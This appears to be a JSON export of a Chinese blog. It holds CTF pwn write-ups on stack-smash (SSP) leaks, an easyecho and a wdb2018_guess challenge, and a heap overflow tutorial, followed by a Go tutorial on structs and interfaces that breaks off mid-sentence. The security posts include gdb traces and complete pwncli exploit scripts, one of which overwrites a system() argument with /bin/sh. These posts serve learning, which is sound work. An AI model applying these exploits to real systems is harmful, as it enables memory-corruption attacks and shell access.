Leak将程序读取到buf变量中的内容泄露出来\n接下来寻找argv[0]的地址\ngdb调试查看栈,栈中的1表示程序参数数量,然后就是程序参数的地址(即argv),因为这个程序只有一个参数,所以只有一个地址。\n就是我们要找的argv[0],之后以0为结束符。\n40:0200│ r13 0x7fffffffd340 ◂— 141:0208│ rsi 0x7fffffffd348 —▸ 0x7fffffffd6ac ◂— '/root/smash'42:0210│+0f0 0x7fffffffd350 ◂— 043:0218│ rdx 0x7fffffffd358 —▸ 0x7fffffffd6b8 ◂— 'HOSTTYPE=x86_64'44:0220│+100 0x7fffffffd360 —▸ 0x7fffffffd6c8 ◂— 'LANG=C.utf8'45:0228│+108 0x7fffffffd368 —▸ 0x7fffffffd6d4 ◂— 0x6f722f3d48544150 ('PATH=/ro')\n\n然后我们将程序跑起来,获取程序输入内容的地址。\n输入aaaaaaaa\n我们可以看到我们输入的内容已经在栈中。\n00:0000│ rsp 0x7fffffffccd0 ◂— 0x58c5bb62477101:0008│-118 0x7fffffffccd8 ◂— 0x30000000002:0010│-110 0x7fffffffcce0 ◂— 'aaaaaaaa'03:0018│-108 0x7fffffffcce8 —▸ 0x7fffffffcd00 ◂— 0x6562b02604:0020│-100 0x7fffffffccf0 ◂— 0xffffcdd005:0028│-0f8 0x7fffffffccf8 —▸ 0x7fffffffcd10 ◂— 0xffffffff06:0030│-0f0 0x7fffffffcd00 ◂— 0x6562b02607:0038│-0e8 0x7fffffffcd08 —▸ 0x7ffff7b9c547 ◂— pop rdi /* '__vdso_getcpu' */\n\n根据我们的输入位置和argv[0]的地址来计算偏移。\n0x7fffffffced8-0x7fffffffcce0=0x1f8\n\n偏移为0x1f8,填充偏移大小的垃圾数据,然后在拼接上我们要泄露的变量地址。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfpayload=cyclic(504)+p64(0x404060)r()s(payload)ia()\n\n\n[2021 鹤城杯]easyecho\n查保护\n\n保护全开\n➜ [2021 鹤城杯]easyecho checksec ./easyecho Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled\n\n\n分析\n\n分析main函数\n__int64 __fastcall main(__int64 a1, char **a2, char **a3){ bool v3; // zf __int64 v4; // rcx char *v5; // rsi const char *v6; // rdi char v8[16]; // [rsp+0h] [rbp-A8h] BYREF int (*v9)(); // [rsp+10h] [rbp-98h] char v10[104]; // [rsp+20h] [rbp-88h] BYREF unsigned __int64 v11; // [rsp+88h] [rbp-20h] v11 = __readfsqword(0x28u); sub_DA0(a1, a2, a3); sub_F40(); v9 = sub_CF0; puts("Hi~ This is a very easy echo server."); puts("Please give me your name~"); _printf_chk(1LL, "Name: "); sub_E40(v8); _printf_chk(1LL, "Welcome %s into the server!\\n", v8); do { while ( 1 ) { _printf_chk(1LL, "Input: "); gets(v10); _printf_chk(1LL, "Output: %s\\n\\n", v10); v4 = 9LL; v5 = v10; v6 = "backdoor"; do { if ( !v4 ) break; v3 = *v5++ == *v6++; --v4; } while ( v3 ); if ( !v3 ) break; (v9)(v6, v5); } } while ( strcmp(v10, "exitexit") ); puts("See you next time~"); return 0LL;}\n\ngdb调试,打个断点到__printf_chk函数,然后让程序运行起来,输入aaaa\n─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────── ► 0x555555400af2 call __printf_chk@plt <__printf_chk@plt> flag: 1 format: 0x55555540108a ◂— 'Welcome %s into the server!\\n' vararg: 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */ 0x555555400af7 nop word ptr [rax + rax] 0x555555400b00 lea rsi, [rip + 0x5a0] RSI => 0x5555554010a7 ◂— outsb dx, byte ptr [rsi] /* 'Input: ' */ 0x555555400b07 mov edi, 1 EDI => 1 0x555555400b0c xor eax, eax EAX => 0 0x555555400b0e call __printf_chk@plt <__printf_chk@plt> 0x555555400b13 mov rdi, rbx 0x555555400b16 xor eax, eax EAX => 0 0x555555400b18 call gets@plt <gets@plt> 0x555555400b1d lea rsi, [rip + 0x58b] RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\\n\\n' */ 0x555555400b24 mov edi, 1 EDI => 1───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */01:0008│ 0x7fffffffcef8 ◂— 002:0010│ 0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx03:0018│ 0x7fffffffcf08 ◂— 004:0020│ rbx 0x7fffffffcf10 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'05:0028│ 0x7fffffffcf18 ◂— 006:0030│ 0x7fffffffcf20 ◂— 107:0038│ 0x7fffffffcf28 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'─────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── ► 0 0x555555400af2 1 0x7ffff7a59730 __libc_start_main+240\n\n在栈上发现了我们输入的内容,并且后面还有一个地址。\n通过vmmap指令查看一下为哪个段的地址,发现为可执行段的地址。\npwndbg> vmmap 0x555555400cf0LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File► 0x555555400000 0x555555402000 r-xp 2000 0 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho +0xcf0 0x555555601000 0x555555602000 r--p 1000 1000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho\n\n我们可以通过这个地址减去程序基址获取偏移。\np/x 0x555555400cf0-0x555555400000=cf0 \n\n程序通过格式化字符串%s打印我们输出的内容,我们可以利用输入覆盖掉地址前的0。\n然后让格式化字符串函数输出地址,之后通过偏移计算程序基址。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsla(b'Name: ', b'a'*0x10)ru(b'a'*0x10)base = u64(r(6).ljust(8, b'\\x00')) - 0xcf0print("base",hex(base))sla(b'Input: ',b'backdoor\\x00')flag_addr = base + 0x202040payload = b'a'*0x168 + p64(flag_addr)sla(b'Input: ', payload)sla(b'Input: ', b'exitexit')flag=r()print(flag)\n\nwdb2018_guess\n查保护\n\n只没有PIE保护\n➜ wdb2018_guess checksec ./GUESS Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)\n\n\n分析\n\n一般我们进行Stack smash利用时,程序会直接崩溃退出。\n但是在这个程序中的sub_400A11函数fork了三次子进程,所以我们可以执行三次。\n__int64 sub_400A11(){ unsigned int v1; // [rsp+Ch] [rbp-4h] v1 = fork(); if ( v1 == -1 ) err(1, "can not fork"); return v1;}\n\n泄露libc地址获取environ内容,进而计算flag的地址,\n\nenviron是libc中的全局变量,指向栈中的环境变量数组。\n\n然后通过将flag地址覆盖为argv[0]地址获取flag\n\n坑点,libc版本\n\n\nexp\n\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfpayload=b'a'*0x128+p64(elf.got.puts)sla("flag\\n",payload)puts_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))print("puts",hex(puts_addr))libc=LibcSearcher("puts",puts_addr)base=puts_addr-libc.dump("puts")environ=base+libc.dump("__environ")print("environ",hex(environ))payload=b'a'*0x128+p64(environ)sl(payload)environ_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))print("environ",hex(environ_addr))payload=b'a'*0x128+p64(environ_addr-0x168)sl(payload)ia()\n","categories":["pwn"],"tags":["bypass"]},{"title":"堆溢出","url":"/2024/10/28/pwn/heap/heap-overflow/","content":"介绍堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。\n不难发现,堆溢出漏洞发生的基本前提是\n\n程序向堆上写入数据。\n写入的数据大小没有被良好地控制。\n\n对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。\n堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是\n\n覆盖与其物理相邻的下一个 chunk 的内容。\nprev_size\nsize,主要有三个比特位,以及该堆块真正的大小。\nNON_MAIN_ARENA\nIS_MAPPED\nPREV_INUSE\nthe True chunk size\n\n\nchunk content,从而改变程序固有的执行流。\n\n\n利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。\n\n基本示例下面我们举一个简单的例子:\n#include <stdio.h> int main(void) { \tchar *chunk; \tchunk=malloc(24); \tputs("Get input:"); \tgets(chunk); \treturn 0; }\n\n这个程序的主要目的是调用 malloc 分配一块堆上的内存,之后向这个堆块中写入一个字符串,如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中 (实际上 puts 内部会调用 malloc 分配堆内存,覆盖到的可能并不是 top chunk)。\n0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000`print ' A ' * 100 进行写入0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4141414141414141 0x4141414141414141 <=== top chunk(已被溢出) 0x602030: 0x4141414141414141 0x4141414141414141 0x602040: 0x4141414141414141 0x4141414141414141\n\n小总结堆溢出中比较重要的几个步骤:\n寻找堆分配函数通常来说堆是通过调用 glibc 函数malloc进行分配的,在某些情况下会使用calloc分配。calloc与malloc的区别是 calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的。\ncalloc(0x20); //等同于 ptr=malloc(0x20); memset(ptr,0,0x20);\n\n除此之外,还有一种分配是经由realloc进行的,realloc函数可以身兼malloc和free两个函数的功能。\n#include <stdio.h> int main(void) { \tchar * chunk,* chunk1; \tchunk=malloc(16); \tchunk1=realloc(chunk,32); \treturn 0; }\n\nrealloc的操作并不是像字面意义上那么简单,其内部会根据不同的情况进行不同操作\n\n当realloc(ptr,size)的size不等于ptr的size时\n如果申请 size > 原来 size\n如果chunk与top chunk相邻,直接扩展这个chunk到新size大小\n如果chunk与top chunk不相邻,相当于free(ptr),malloc(new_size)\n\n\n如果申请 size < 原来 size\n如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变\n如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分\n\n\n\n\n当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)\n当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作\n\n寻找危险函数通过寻找危险函数,我们快速确定程序是否可能有堆溢出,以及有的话,堆溢出的位置在哪里。\n常见的危险函数如下\n\n输入\ngets,直接读取一行,忽略 '\\x00'\nscanf\nvscanf\n\n\n输出\nsprintf\n\n\n字符串\nstrcpy,字符串复制,遇到 '\\x00' 停止\nstrcat,字符串拼接,遇到 '\\x00' 停止\nbcopy\n\n\n\n确定填充长度这一部分主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离。 一个常见的误区是malloc的参数等于实际分配堆块的大小,但是事实上 ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍,比如 32 位系统是 8 个字节,64 位系统是 16 个字节。但是对于不大于 2 倍字长的请求,malloc会直接返回 2 倍字长的块也就是最小 chunk,比如 64 位系统执行malloc(0)会返回用户区域为 16 字节的块。\n#include <stdio.h> int main(void) { \tchar *chunk; \tchunk=malloc(0); \tputs("Get input:"); \tgets(chunk); \treturn 0; }\n\n//根据系统的位数,malloc会分配8或16字节的用户空间 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 0x602030: 0x0000000000000000 0x0000000000000000`\n\n注意用户区域的大小不等于chunk_head.size,chunk_head.size = 用户区域大小 + 2 * 字长\n还有一点是之前所说的用户申请的内存大小会被修改,其有可能会使用与其物理相邻的下一个 chunk 的 prev_size 字段储存内容。回头再来看下之前的示例代码\n#include <stdio.h> int main(void) { \tchar *chunk; \tchunk=malloc(24); \tputs("Get input:"); \tgets(chunk); \treturn 0; }\n\n观察如上代码,我们申请的chunk大小是 24 个字节。但是我们将其编译为 64 位可执行程序时,实际上分配的内存会是 16 个字节而不是 24 个。\n0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1\n\n16 个字节的空间是如何装得下 24 个字节的内容呢?答案是借用了下一个块的 pre_size 域。我们可来看一下用户申请的内存大小与 glibc 中实际分配的内存大小之间的转换。\n/* pad request bytes into a usable size -- internal version */ //MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1 #define request2size(req) \\ \t(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \\ \t\t? MINSIZE \\ \t\t: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)\n\n当 req=24 时,request2size(24)=32。而除去 chunk 头部的 16 个字节。实际上用户可用 chunk 的字节数为 16。而根据我们前面学到的知识可以知道chunk的pre_size仅当它的前一块处于释放状态时才起作用。所以用户这时候其实还可以使用下一个chunk的prev_size字段,正好 24 个字节。实际上 ptmalloc 分配内存是以双字为基本单位,以 64 位系统为例,分配出来的空间是 16 的整数倍,即用户申请的 chunk 都是 16 字节对齐的。\n例题\n[NISACTF 2022]ezheap\n\n\n查保护\n\n发现为32位程序,没有canary保护和PIE保护。\n➜ [NISACTF 2022]ezheap checksec ./pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)\n\n\n分析\n\n分析main函数\n程序定义了两个char型指针,并且申请了两个0x16大小的内存块,由指针分别指向。\n然后调用puts函数输出了一个字符串。\n之后调用了危险函数gets函数向s指针写入内容。\n到了这里我们可以判断这是一个堆溢出漏洞,接下来我们结合动态调试来分析利用思路。\nint __cdecl main(int argc, const char **argv, const char **envp){ char *command; // [esp+8h] [ebp-10h] char *s; // [esp+Ch] [ebp-Ch] setbuf(stdin, 0); setbuf(stdout, 0); s = malloc(0x16u); command = malloc(0x16u); puts("Input:"); gets(s); system(command); return 0;}\n\ngdb动态调试\n\n第一次malloc\n\n在进行第一次malloc的之后,我们查看一下堆\n发现一共有三个chunk,第一个和第三个chunk我们并不需要关系,我们只关心第二个chunk。\n第二个chunk大小为0x20,我们malloc分配的时候分配的大小是0x16,并不满足现在的chunk大小,但是我们还要加上prev_size 和size字段,32位程序下的prev_size字段和size字段都是4字节大小,所以0x16加上两个字段大小正好满足0x20的chunk大小。\npwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x804b008Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSEAddr: 0x804b198Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSEAddr: 0x804b1b8Size: 0x21e48 (with flag bits: 0x21e49)\n\n\n第二次malloc\n\n第二次malloc之后我们发现堆中又多了一共chunk,大小也为0x20,对应着我们程序中的command指针。\npwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x804b008Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSEAddr: 0x804b198Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSEAddr: 0x804b1b8Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSEAddr: 0x804b1d8Size: 0x21e28 (with flag bits: 0x21e29)\n\n利用vis指令查看可视化堆\n0x804b198是s指向的chunk,0x804b1b8是command指向的chunk。\n我们可以看到,s指向的chunk和command指向的chunk在内存中是相邻的。\n所以gets函数无限制的写入数据会导致数据从s指向的chunk中溢出到command指向的chunk。\n我们可以实验一下。\n0x804b198 0x00000000 0x00000021 ....!...0x804b1a0 0x00000000 0x00000000 ........0x804b1a8 0x00000000 0x00000000 ........0x804b1b0 0x00000000 0x00000000 ........0x804b1b8 0x00000000 0x00000021 ....!...0x804b1c0 0x00000000 0x00000000 ........0x804b1c8 0x00000000 0x00000000 ........0x804b1d0 0x00000000 0x00000000 ........0x804b1d8 0x00000000 0x00021e29 ....)... \n\n我们尝试写入0x20长度的a。\n查看堆发现最下面的chunk的size变成了0x61616160,这是因为数据从第一个chunk溢出到了第二个chunk导致修改了第二个chunk的size字段\n我们知道用户通过malloc分配的内存是只使用user_data部分的,所以我们使用gets函数写入的数据是从s指针chunk的uesr_data部分开始写入,而s的user_data部分大小为0x18,即我们写入的数据溢出了8个字节覆盖了下一个chunk的prev_size字段和size字段。\npwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x804b008Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSEAddr: 0x804b198Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSEAddr: 0x804b1b8Size: 0x61616160 (with flag bits: 0x61616161)\n\n知道了堆溢出的原理后我们继续分析程序,程序在进行读取数据之后将command字段作为system函数参数执行。\n前面我们也知道了通过堆溢出我们可以将数据溢出到下一个chunk,即可以从s溢出到command。\n我们可以通过利用堆溢出从第一个堆块溢出到下一个堆块然后写入/bin/sh\\x00字符串,之后由system函数执行获取shell。\n而system函数执行的内容同样也是chunk的user_data字段,所以我们必须得出溢出到user_data的填充大小。\n而前面我们已经知道了是0x20,所以接下来我们可以通过利用思路构造exp。\n\nexp\n\n#!/usr/bin/python3from pwncli import *cli_script()payload=b'a'*0x20+b"/bin/sh\\x00"pause()s(payload)ia()\n\n后言\nctf-wiki\n\n","tags":["heap"]},{"title":"Go chapter5","url":"/2024/10/25/program/go/go-chapter5/","content":"结构为了将分散的零件组成一个完整的结构体,go提供了 struct 类型。\nstruct 允许你将不同类型的东西组合在一起\n声明结构访问结构中字段的值或者为字段赋值都需要用到点标记法,也就是像代码中所示的那样,使用点连接变量名和字段名。\n这跟C语言中的结构体很相似。\nvar curiosity struct{\tlat float64\tlong float64}curiosity.lat=-4.534curiosity.long=137.434fmt.Println(curiosity.lat,curiosity.long)fmt.Println(curiosity)//运行结果-4.534 123.434{-4.534 123.434}\n\n注意:使用 print 类函数可以打印出结构的内容\n\n通过类型复用结构如果你需要在多个结构中使用同一个字段,那么可以像前面那样,为结构定义相应的类型。\ntype location struct{ lat float64 long float64}func main(){ var sprint location sprint.lat=23.32 sprint.long=12.34 fmt.Println(sprint)}//运行结果{23.32 12.34}\n\n通过复合字面量初始化结构在使用复合字面量初始化结构的时候,有两种不同形式可供选择。\n如以下代码演示了如何通过成对的字段和值初始化 sprint1 变量和 sprint2 变量,这种形式的初始化可以按任何顺序给定字段,而没有给定的字段则会被初始化为类型对应的零值。\n通过成对的字段和值初始化结构的另一个好处是它可以容忍结构发送变化,并在结构添加新字段或是重新排列字段顺序的情况下继续正常工作。\nfunc main(){ type location struct{ lat float64 long float64 } sprint1:=location{lat:-2.34,long:342.344} fmt.Println(sprint1) sprint2:=location{long:365.344,lat:-5.34} fmt.Println(sprint2)}//运行结果{-2.34 342.344}{-5.34 365.344}\n\n而以下代码,清单中的复合字面量在初始化时并没有给出字段的名称,相反,这种初始化形式要求我们必须按照每个字段在结构中定义的顺序给出相应的值。按顺序给出值的初始化方式只适用于那些不会发生变化并且只包含少量字段的结构类型。\nsprint:=location{-2.34,342.344}fmt.Println(sprint)\n\n打印struct:%v,打印出结构体数据,%+v,打印出带字段名的数据\n\nsprint:=location{-2.34,342.344}fmt.Printf("%v\\n",sprint)fmt.Printf("%+v\\n",sprint)//运行结果{-2.34 342.344}{lat:-2.34 long:342.344}\n\n结构被复制sprint2 变量在初始化时复制了 sprintf1 变量包含的值,所以这两个结构发生的变化不会对对方产生任何影响。\nfunc main(){ type location struct{ lat float64 long float64 } sprint1:=location{-2.34,342.344} sprint2:=sprint1 sprint2.long+=0.10 fmt.Println(sprint1,sprint2)}//运行结果{-2.34 342.344} {-2.34 342.444}\n\n由结构组成的切片[]struct用于表示由结构组成的切片,它的独特之处在于,切片包含的每个值都是一个结构而不是像float64这样的基本类型。\n结构体组成的切片\nfunc main(){ type location struct{ name string old int high float64 } pep:=[]location{ {name:"h",old:18,high:168.5}, {name:"z",old:20,high:172.3}, {name:"w",old:18,high:165.2}, } fmt.Println(pep)}//运行结果[{h 18 168.5} {z 20 172.3} {w 18 165.2}]\n\n将结构编码为 JSONJavaScript 对象标识法(JSON)Douglas Crockford 推广的一种数据格式,它原本只是 JavaScript 语言的一个子集,但现在已经得到了其他编程语言的广泛支持。JSON 常常被用于 Web API(应用程序接口)\n如下代码所示,来自 json 包的 Marshal 函数将把 location 结构中的数据编码为 json 格式,并以字节形式返回编码后的 json 数据。这些数据既可以通过网络进行传输,也可以转换为字符串以便打印。\nimport ( "fmt" "encoding/json" "os")func main(){ type location struct{ Lat,Long float64 } curiosity:=location{-3.323,123.343} bytes,err:=json.Marshal(curiosity) if err!=nil{ os.Exit(1) } fmt.Println(string(bytes))}//运行结果{"Lat":-3.323,"Long":123.343}\n编码得出的 JSON 数据的键与 location 结构的字段名是一一对应的。需要注意的是,Marshal 函数只会对结构中被导出的字段实施编码。换句话说,如果上例中 location 结构的 Lat 字段和 Long 字段都以小写字母开头,那么编码的结构将会是 {}。\n使用结构标签定制 JSONgo语言的 json 包要求结构中的字段必须以大写字母开头,并且包含多个单词的字段名称必须使用类似 CemelCase 这样的驼峰命名惯例,但是有时候我们也会想要让 JSON 数据使用类似 snake_case 这样的蛇形命名惯例,特别是在与 Python 或者 Ruby 等语言进行交互的时候更是如此。为了解决这个问题,我们可以对结构中的字段打标签(tag),是 json 包在编码数据的时候能够按照我们的意愿修改字段的名称。\n跟前面的代码清单相比,如下代码唯一的修改就是引入了能够改变 Marshal 函数输出结构的结构标签。正如之前所述,Lat 字段和 Long 字段都必须是被导出的字段,这样 json 包才能处理它们。\nimport ( "fmt" "encoding/json" "os")func main(){ type location struct{ Lat float64 `json:"latitude"` Long float64 `json:"longitude"` } curiosity:=location{-3.323,123.343} bytes,err:=json.Marshal(curiosity) if err!=nil{ os.Exit(1) } fmt.Println(string(bytes))}//运行结果{"latitude":-3.323,"longitude":123.343}\n正如代码清单所示,结构标签实际上就是一段与结构字段相关联的字符串。这里之所以使用 `` 包围的原始字符串字面量而不使用被 ”“ 包围的普通字符串字面量,只是为了省下一些使用反斜杠转义引号的功夫而已。具体来说,如果我们把上例中的结构标签从原始字符串字面量改成普通字符串字面量,那么就需要把它改写成更难读也更麻烦的 “json:\\“atirude”” 才行。\n结构标签的格式为 key:”value”,其中键的名称通常是某个包的名称。例如,为了定制 Lat 字段在 JSON 编码和 XML 编码时的输出,我们可以将该字段的结构标签设置成 `josn:”latitude”xml:”latitude”`。\n另外,正如名称 “结构标签” 所暗示的那样,这一特性只适用于结构中的字段,虽然 josn.Marshal 函数除了能够编码结构,还能够编码其他类型。\ngo没有类go和其他经典语言不同,它没有 class,没有对象,也没有继承。\n但是go提供了 struct 和方法,通过组合这两者就可以实现面向对象设计的相关概念。\n将方法绑定到结构方法可以被关联到你声明的类型上,所以我们可以将方法关联到结构体类型上以实现类的功能。\n要实现这一想法首先要做的就是声明一个类型。\n下面例子中定义了一个人结构体,定义了一个方法打印人的名字。\ntype pep struct{ name string lghi float64 old int}func (c pep) p() { fmt.Println(c.name)}func main(){ z:=pep{"张三",170.3,100} z.p()}//运行结果张三\n\n构造函数\n可以使用 struct 复合字面值来初始化你所要的数据\n但如果 struct 初始化的时候还要做很多事情,那就可以考虑写一个构造用的函数。\ngo语言没有专用的构造函数,但以 new 或者 New 开头的函数,通常是用来构造数据的。type location struct{\tlat,long float64}func newLocation(lat,long coordinate) location{\treturn location{lat.decimal(),long.decimal()}}\n\nNew函数\n\n\n有一些用于构造的函数的名称就是New。\n这是因为函数调用时使用 包名.函数名 的形式。\n如果该函数叫 NewError,那么调用的时候就是 errors.NewError(),这就不如 errors.New()简介\n\n类的替代品go语言与 python 等传统语言不一样,它没有提供类,而是通过结构和方法来满足相同的需求。如果我们研究go的这一策略,那么就会发现它跟传统语言做法的区别不大。\ntype world struct{\tradius float64}var mars = world(radius:3389.5)func (w world) distance(p1,p2 location) float64{\t//代办事项}func rad(deg float64) float64{\treturn deg*math.Pi/180}func (w world) distance(p1,p2 location) float64{\ts1,c2 :=math.Sincos(rad(p1.lat))\ts2,c2 :=math.Sincos(rad(p2.lat))\tclong:=math.Cos(rad(p1.long-p2.long))\treturn w.radius*math.Acos(s1*s2+c1*c2*clong)}spirit:=location{-14.5684,175.472636}opportunity:=location{-1.9462,354.4734}dist:=mars.distance(spirit,opportunity)fmt.Printf("%.2f km\\n",dist)\n\n组合和转发\n在面向对象的世界中,对象由更小的对象组合而成\n术语:对象组合或组合\ngo通过结构体实现组合\ngo提供了嵌入特性,它可以实现方法的转发\n\n合并结构表示多种数据最简单的方法,在结构体中包含多种数据。\ntype report struct{\tsol int\thigh,low float64\tlat,long float64}\n也可以使用更灵活的通过结构和组合对关联的字段进行分组。通过例子中从 report 转发至 temperature 的方法,我们能够方便地访问report.average()方法,并且继续使用小型类型构建代码。\ntype report struct{\tsol int\ttemperature temper\tlocation location}type temperature struct{\thigh,low celsius}type location struct{\tlat,long float64}type celsius float64func (t temperature) average() celsius{\treturn (t.high+low)/2}func main(){\tfmr.Println("average %v C\\n",report.temperature.average())}\n\n实现自动的转发方法转发方法能够令方法更易用。为了避免每次进行转发都要像代码清单那样手动编写方法,那么转发方法将变得相当不便,更别说这些重复的样板代码会给程序带来额外的复杂性了。好在go语言可以通过结构嵌入实现自动的转发方法。为了将类型嵌入结构,我们只需像代码清单所示的那样,在不给定字段名的情况下指定类型即可。\ntype report struct{\tsol int\ttemperature\tlocation}report :={\tsol : 15,\tlocation:location{-4.5895,137.4417},\ttemperature:temperature{high:-1.0,low:-78.0},}fmr.Printf("average %vo C\\n",report.average())\n将类型嵌入结构不需要指定字段名,结构会自动为被嵌入的类型生成同名的字段。上面声明的report类型的temperature字段就是一个例子:\nfmt.Printf("average %vo C\\n",report.temperature.average())\n嵌入不仅会转发方法,还能够让外部结构直接访问内部结构中的字段。\nfmt.Printlf("%vo C\\n",report.high)report.high=32fmt.Printf("%vo C\\n",report.temperature.high)\n正如所见,对report.high的修改也将见诸report.temperature.high,这两个字段只是访问相同数据的不同手段而已。\n除了结构,我们还可以将任意其他类型嵌入结构。例如,在代码中,虽然sol类型的底层类型只是一个简单的int,但它也跟location和temperature两个结构一样被嵌入了report结构里面。\ntype sol inttype report struct{\tsol\tlocation\ttemperature}\n\n在此之后,基于sol类型声明的所有方法都能够通过sol字段或者report类型进行访问。\n命名冲突在下列代码没有进行调用的时候是可以通过编译的。但是如果进行调用days方法,那么编译器就不会直到所要调用的方法是哪一个方法。\nfunc (l location) days(12 location) int{\t//代办事项\treturn 5}func (l sol) days(12 sol) int{\treturn 5}\n\n\n接口\n接口关注于类型可以做什么,而不是存储了什么\n接口通过列举类型必须满足的一组方法来进行声明\n在go语言中,不需要显示声明接口\n\n接口类型类型通过方法表达自己的行为,而接口则通过列举类型必须满足的一组方法来就进行声明。\nvar t interface{\ttalk() string}\n任何类型的任何值,只要它满足了接口的要求,就是定义了一个方法返回string类型没有参数,就能够成为变量t的值。具体来说,无论是什么类型,只要它声明的名为talk的方法不接受任何实参并且返回字符串,那么它就满足了接口的要求。\ntype martian struct()func (m martian) talk() string{\treturn "nack nack"}type laser intfunc(l laser) talk() string{\treturn strings.Repeat("pew",int(1))}\n正如如上代码所示,虽然martian类型是一个不包含任何字段的结构,而laser类型则是一个整数,但是由于它们都提供了满足接口要求的talk方法,因此它们都能够被赋值给变量t。\nvar t interface{\ttalk() string}t=martian{}fmt.Println(t.talk())t=laser(3)fmt.Println(t.talk())\n具备变形功能的变量t能够采用martian或者laser两种形式。用计算机科学家的话来讲就是接口通过多态让变量t具备了多种形态。\n\n为了复用,通常会把接口声明为类型\n按约定,接口名称通常以er结尾type talker interface{\ttalk() string}\n接口类型可以用于在其他类型能够使用的任何地方。func shout(t talker){\tlouder := strings.ToUpper(t.talk())\tfmt.Println(louder)}\n正如代码清单所示,shout函数能够处理任何一个满足talker接口的值,无论它的类型是martian还是laser传递给shout函数的实参必须满足talker接口。\n\n接口在修改代码和扩展代码的时候能够淋漓尽致地发挥其灵活性。例如,如果你声明了一个带有talk方法的新类型,那么shout函数将自动适用于它。此外,无论实现发生何种变化或者新增何种功能,那些只依赖接口的代码都不需要做任何修改。\n值得注意的是,接口还可以根结构嵌入特性一同使用,例如如下代码将满足talker接口的laser类型嵌入了starship结构。\ntype starship struct{\tlaser}s:=starship(laser(3))fmt.Println(s.talk())fmt.Println(s.talk())shout(s)\n\n探索接口\ngo语言的接口都是隐式满足的go语言允许在实现代码的过程中随时创建新的接口。任何代码都可以实现接口,包括那些已经存在的代码。package mainimport (\t"fmt"\t"time")func stardate(t time.Time) float64{\tdoy:=float64(t.YearDay())\th:=float64(t.Hour())/24.0\treturn 100+doy+h}func main(){\tday:=time.Date(2012,8,6,5,17,0,0,time.UTC)\tfmt.Printf("%.1f Curiosity has 